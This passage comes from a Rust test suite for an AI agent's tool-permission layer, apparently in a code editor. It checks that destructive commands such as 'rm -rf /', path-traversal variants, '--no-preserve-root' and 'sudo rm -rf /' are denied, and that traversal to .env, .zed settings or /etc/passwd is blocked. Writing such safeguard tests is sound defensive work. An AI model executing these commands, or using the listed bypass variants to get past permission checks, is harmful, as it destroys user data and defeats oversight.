1983 t("rm -rf /./").is_deny();
1984 t("rm -rf /.").is_deny();
1985 // Double slash (equivalent to /)
1986 t("rm -rf //").is_deny();
1987 // Home traversal via ~/./
1988 t("rm -rf ~/./").is_deny();
1989 t("rm -rf ~/.").is_deny();
1990 // Dot traversal via indirect paths
1991 t("rm -rf ./foo/..").is_deny();
1992 t("rm -rf ../foo/..").is_deny();
1993 // Traversal in chained commands
1994 t("ls && rm -rf /tmp/../../").is_deny();
1995 t("echo hello; rm -rf /./").is_deny();
1996 // Traversal cannot be bypassed by global or allow patterns
1997 t("rm -rf /tmp/../../")
1998 .global_default(ToolPermissionMode::Allow)
1999 .is_deny();
2000 t("rm -rf /./").allow(&[".*"]).is_deny();
2001 // Safe paths with traversal should still be allowed
2002 t("rm -rf /tmp/../tmp/foo")
2003 .mode(ToolPermissionMode::Allow)
2004 .is_allow();
2005 t("rm -rf ~/Documents/./subdir")
2006 .mode(ToolPermissionMode::Allow)
2007 .is_allow();
2008 }
2009
2010 #[test]
2011 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2012 t("rm -rf /tmp /").is_deny();
2013 t("rm -rf /tmp/foo /").is_deny();
2014 t("rm -rf /var/log ~").is_deny();
2015 t("rm -rf /safe $HOME").is_deny();
2016 }
2017
2018 #[test]
2019 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2020 t("rm -rf / /tmp").is_deny();
2021 t("rm -rf ~ /var/log").is_deny();
2022 t("rm -rf . /tmp/foo").is_deny();
2023 t("rm -rf .. /safe").is_deny();
2024 }
2025
2026 #[test]
2027 fn hardcoded_allows_rm_multi_path_all_safe() {
2028 t("rm -rf /tmp /home/user")
2029 .mode(ToolPermissionMode::Allow)
2030 .is_allow();
2031 t("rm -rf ./build ./dist")
2032 .mode(ToolPermissionMode::Allow)
2033 .is_allow();
2034 t("rm -rf /var/log/app /tmp/cache")
2035 .mode(ToolPermissionMode::Allow)
2036 .is_allow();
2037 }
2038
2039 #[test]
2040 fn hardcoded_blocks_rm_multi_path_with_traversal() {
2041 t("rm -rf /safe /tmp/../../").is_deny();
2042 t("rm -rf /tmp/../../ /safe").is_deny();
2043 t("rm -rf /safe /var/log/../../").is_deny();
2044 }
2045
2046 #[test]
2047 fn hardcoded_blocks_user_reported_bypass_variants() {
2048 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2049 t("rm -rf /etc/../").is_deny();
2050 t("rm -rf /etc/..").is_deny();
2051 // User report: --no-preserve-root (without =value) should not bypass
2052 t("rm -rf --no-preserve-root /").is_deny();
2053 t("rm --no-preserve-root -rf /").is_deny();
2054 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2055 t("rm -rf /*").is_deny();
2056 // Chained with sudo
2057 t("sudo rm -rf /").is_deny();
2058 t("sudo rm -rf --no-preserve-root /").is_deny();
2059 // Traversal cannot be bypassed even with global allow or allow patterns
2060 t("rm -rf /etc/../")
2061 .global_default(ToolPermissionMode::Allow)
2062 .is_deny();
2063 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2064 t("rm -rf --no-preserve-root /")
2065 .global_default(ToolPermissionMode::Allow)
2066 .is_deny();
2067 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2068 }
2069
2070 #[test]
2071 fn normalize_path_relative_no_change() {
2072 assert_eq!(normalize_path("foo/bar"), "foo/bar");
2073 }
2074
2075 #[test]
2076 fn normalize_path_relative_with_curdir() {
2077 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2078 }
2079
2080 #[test]
2081 fn normalize_path_relative_with_parent() {
2082 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2083 }
2084
2085 #[test]
2086 fn normalize_path_absolute_preserved() {
2087 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2088 }
2089
2090 #[test]
2091 fn normalize_path_absolute_with_traversal() {
2092 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2093 }
2094
2095 #[test]
2096 fn normalize_path_root() {
2097 assert_eq!(normalize_path("/"), "/");
2098 }
2099
2100 #[test]
2101 fn normalize_path_parent_beyond_root_clamped() {
2102 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2103 }
2104
2105 #[test]
2106 fn normalize_path_curdir_only() {
2107 assert_eq!(normalize_path("."), "");
2108 }
2109
2110 #[test]
2111 fn normalize_path_empty() {
2112 assert_eq!(normalize_path(""), "");
2113 }
2114
2115 #[test]
2116 fn normalize_path_relative_traversal_above_start() {
2117 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2118 }
2119
2120 #[test]
2121 fn normalize_path_relative_traversal_with_curdir() {
2122 assert_eq!(normalize_path("../../."), "../..");
2123 }
2124
2125 #[test]
2126 fn normalize_path_relative_partial_traversal_above_start() {
2127 assert_eq!(normalize_path("foo/../../bar"), "../bar");
2128 }
2129
2130 #[test]
2131 fn most_restrictive_deny_vs_allow() {
2132 assert!(matches!(
2133 most_restrictive(
2134 ToolPermissionDecision::Deny("x".into()),
2135 ToolPermissionDecision::Allow
2136 ),
2137 ToolPermissionDecision::Deny(_)
2138 ));
2139 }
2140
2141 #[test]
2142 fn most_restrictive_allow_vs_deny() {
2143 assert!(matches!(
2144 most_restrictive(
2145 ToolPermissionDecision::Allow,
2146 ToolPermissionDecision::Deny("x".into())
2147 ),
2148 ToolPermissionDecision::Deny(_)
2149 ));
2150 }
2151
2152 #[test]
2153 fn most_restrictive_deny_vs_confirm() {
2154 assert!(matches!(
2155 most_restrictive(
2156 ToolPermissionDecision::Deny("x".into()),
2157 ToolPermissionDecision::Confirm
2158 ),
2159 ToolPermissionDecision::Deny(_)
2160 ));
2161 }
2162
2163 #[test]
2164 fn most_restrictive_confirm_vs_deny() {
2165 assert!(matches!(
2166 most_restrictive(
2167 ToolPermissionDecision::Confirm,
2168 ToolPermissionDecision::Deny("x".into())
2169 ),
2170 ToolPermissionDecision::Deny(_)
2171 ));
2172 }
2173
2174 #[test]
2175 fn most_restrictive_deny_vs_deny() {
2176 assert!(matches!(
2177 most_restrictive(
2178 ToolPermissionDecision::Deny("a".into()),
2179 ToolPermissionDecision::Deny("b".into())
2180 ),
2181 ToolPermissionDecision::Deny(_)
2182 ));
2183 }
2184
2185 #[test]
2186 fn most_restrictive_confirm_vs_allow() {
2187 assert_eq!(
2188 most_restrictive(
2189 ToolPermissionDecision::Confirm,
2190 ToolPermissionDecision::Allow
2191 ),
2192 ToolPermissionDecision::Confirm
2193 );
2194 }
2195
2196 #[test]
2197 fn most_restrictive_allow_vs_confirm() {
2198 assert_eq!(
2199 most_restrictive(
2200 ToolPermissionDecision::Allow,
2201 ToolPermissionDecision::Confirm
2202 ),
2203 ToolPermissionDecision::Confirm
2204 );
2205 }
2206
2207 #[test]
2208 fn most_restrictive_allow_vs_allow() {
2209 assert_eq!(
2210 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2211 ToolPermissionDecision::Allow
2212 );
2213 }
2214
2215 #[test]
2216 fn decide_permission_for_path_no_dots_early_return() {
2217 // When the path has no `.` or `..`, normalize_path returns the same string,
2218 // so decide_permission_for_path returns the raw decision directly.
2219 let settings = test_agent_settings(ToolPermissions {
2220 default: ToolPermissionMode::Confirm,
2221 tools: Default::default(),
2222 });
2223 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2224 assert_eq!(decision, ToolPermissionDecision::Confirm);
2225 }
2226
2227 #[test]
2228 fn decide_permission_for_path_traversal_triggers_deny() {
2229 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2230 let mut tools = collections::HashMap::default();
2231 tools.insert(
2232 Arc::from(EditFileTool::NAME),
2233 ToolRules {
2234 default: Some(ToolPermissionMode::Allow),
2235 always_allow: vec![],
2236 always_deny: vec![deny_regex],
2237 always_confirm: vec![],
2238 invalid_patterns: vec![],
2239 },
2240 );
2241 let settings = test_agent_settings(ToolPermissions {
2242 default: ToolPermissionMode::Confirm,
2243 tools,
2244 });
2245
2246 let decision =
2247 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2248 assert!(
2249 matches!(decision, ToolPermissionDecision::Deny(_)),
2250 "expected Deny for traversal to /etc/passwd, got {:?}",
2251 decision
2252 );
2253 }
2254
2255 #[test]
2256 fn normalize_path_collapses_dot_segments() {
2257 assert_eq!(
2258 normalize_path("src/../.zed/settings.json"),
2259 ".zed/settings.json"
2260 );
2261 assert_eq!(normalize_path("a/b/../c"), "a/c");
2262 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2263 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2264 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2265 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2266 }
2267
2268 #[test]
2269 fn normalize_path_handles_multiple_parent_dirs() {
2270 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2271 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2272 }
2273
2274 fn path_perm(
2275 tool: &str,
2276 input: &str,
2277 deny: &[&str],
2278 allow: &[&str],
2279 confirm: &[&str],
2280 ) -> ToolPermissionDecision {
2281 let mut tools = collections::HashMap::default();
2282 tools.insert(
2283 Arc::from(tool),
2284 ToolRules {
2285 default: None,
2286 always_allow: allow
2287 .iter()
2288 .map(|p| {
2289 CompiledRegex::new(p, false)
2290 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2291 })
2292 .collect(),
2293 always_deny: deny
2294 .iter()
2295 .map(|p| {
2296 CompiledRegex::new(p, false)
2297 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2298 })
2299 .collect(),
2300 always_confirm: confirm
2301 .iter()
2302 .map(|p| {
2303 CompiledRegex::new(p, false)
2304 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2305 })
2306 .collect(),
2307 invalid_patterns: vec![],
2308 },
2309 );
2310 let permissions = ToolPermissions {
2311 default: ToolPermissionMode::Confirm,
2312 tools,
2313 };
2314 let raw_decision = ToolPermissionDecision::from_input(
2315 tool,
2316 &[input.to_string()],
2317 &permissions,
2318 ShellKind::Posix,
2319 );
2320
2321 let simplified = normalize_path(input);
2322 if simplified == input {
2323 return raw_decision;
2324 }
2325
2326 let simplified_decision =
2327 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2328
2329 most_restrictive(raw_decision, simplified_decision)
2330 }
2331
2332 #[test]
2333 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2334 let decision = path_perm(
2335 "copy_path",
2336 "src/../.zed/settings.json",
2337 &["^\\.zed/"],
2338 &[],
2339 &[],
2340 );
2341 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2342 }
2343
2344 #[test]
2345 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2346 let decision = path_perm(
2347 "copy_path",
2348 "src/../.zed/settings.json",
2349 &[],
2350 &[],
2351 &["^\\.zed/"],
2352 );
2353 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2354 }
2355
2356 #[test]
2357 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2358 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2359 assert!(matches!(decision, ToolPermissionDecision::Allow));
2360 }
2361
2362 #[test]
2363 fn decide_permission_for_path_most_restrictive_wins() {
2364 let decision = path_perm(
2365 "copy_path",
2366 "allowed/../.zed/settings.json",
2367 &["^\\.zed/"],
2368 &["^allowed/"],
2369 &[],
2370 );
2371 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2372 }
2373
2374 #[test]
2375 fn decide_permission_for_path_dot_segment_only() {
2376 let decision = path_perm(
2377 "delete_path",
2378 "./.zed/settings.json",
2379 &["^\\.zed/"],
2380 &[],
2381 &[],
2382 );
2383 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2384 }
2385
2386 #[test]
2387 fn decide_permission_for_path_no_change_when_already_simple() {
2388 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2389 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2390 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2391 }
2392
2393 #[test]
2394 fn decide_permission_for_path_raw_deny_still_works() {
2395 // Even without traversal, if the raw path itself matches deny, it's denied
2396 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2397 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2398 }
2399
2400 #[test]
2401 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2402 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2403 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2404 }
2405}